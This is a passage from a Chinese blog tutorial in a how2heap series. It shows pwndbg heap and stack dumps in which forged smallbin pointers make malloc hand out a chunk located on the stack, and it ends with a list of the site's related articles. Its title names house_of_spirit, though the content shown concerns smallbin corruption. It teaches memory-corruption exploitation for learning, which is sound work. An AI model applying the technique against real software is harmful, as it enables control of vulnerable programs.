0x603000:       0x0000000000000000      0x0000000000000071
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f1
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    

largebins
empty
pwndbg> 
 

再一次malloc将返回fake chunk 1的地址,地址在栈上且我们能够控制。​ 于是我们就成功地骗过了malloc在栈上分配了一个chunk。在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

最后再想一下,其实最初的victim chunk使用fast chunk也是可以的,其释放后虽然是被加入到 fast bins中,而不是unsorted bin,但malloc之后,也会被整理到small bins里。自行尝试吧。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

这篇关于从零开始学howtoheap:fastbins的house_of_spirit攻击3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/705009

相关文章

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

BIRT--商业智能和报表工具,从零开始

1.简介 BIRT (Business Intelligence and Reporting Tools), 是为 Web 应用程序开发的基于 Eclipse 的开源报表系统,特别之处在于它是以 Java 和 JavaEE 为基础。BIRT 有两个主要组件:基于 Eclipse 的报表设计器,以及部署到应用服务器上的运行时组件。 2.下载 官网下载网址:http://download.ec

从零开始学习JVM(七)- StringTable字符串常量池

1 概述 String应该是Java使用最多的类吧,很少有Java程序没有使用到String的。在Java中创建对象是一件挺耗费性能的事,而且我们又经常使用相同的String对象,那么创建这些相同的对象不是白白浪费性能吗。所以就有了StringTable这一特殊的存在,StringTable叫做字符串常量池,用于存放字符串常量,这样当我们使用相同的字符串对象时,就可以直接从StringTable

从零开始构建大语言模型并进行微调:全面指南

要从0开始搭建并训练一个大语言模型(LLM),涉及到多个步骤和资源,包括理论理解、工具使用、数据准备、模型训练与微调。以下是一个从基础到应用的指南,帮助你理解并逐步实现这一目标。 1. 理解基础概念 在开始搭建大语言模型之前,了解以下基本概念至关重要: 生成式AI:通过大语言模型生成自然语言文本,例如GPT、BERT等。机器学习:通过数据训练模型,使其具备从数据中学习规律的能力。深度学习:机

如何使用 Python 读取 Excel 文件:从零开始的超详细教程

“日出东海落西山 愁也一天 喜也一天 遇事不钻牛角尖” 文章目录 前言文章有误敬请斧正 不胜感恩!||Day03为什么要用 Python 读取 Excel 文件?准备工作:安装所需工具安装 Python安装 Pandas安装 openpyxl 使用 Pandas 读取 Excel 文件什么是 Pandas?读取 Excel 文件的简单示例查看数据的前几行选择特定工作表只读取部分列跳过

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS

【虚拟机/服务器】在Ubuntu Server上从零开始配置Nginx、Mysql、PHP7.0

1、升级当前系统数据源 sudo apt-get update && sudo apt-get upgrade 遇到询问是否继续,输入 y 或直接回车继续就好了 2、安装 Nginx sudo apt-get install nginx 安装完成之后就会默认自动开启 Nginx 服务器,可以通过 ps -ef | grep nginx 查看。 3、配置 Nginx 环境 1)替换默认

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器

从零开始学cv-14:图像边缘检测

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、图像边缘是什么?二、Sobel 算子三、Scharr 算子四、Prewitt算子五、Canny算子 前言 边缘检测是OpenCV中的一个重要组成部分,它用于识别图像中亮度变化显著的点,即边缘。通过边缘检测,我们可以从图像中提取出重要的特征,为后续的图像分析、形状识别和物体跟踪等任务奠定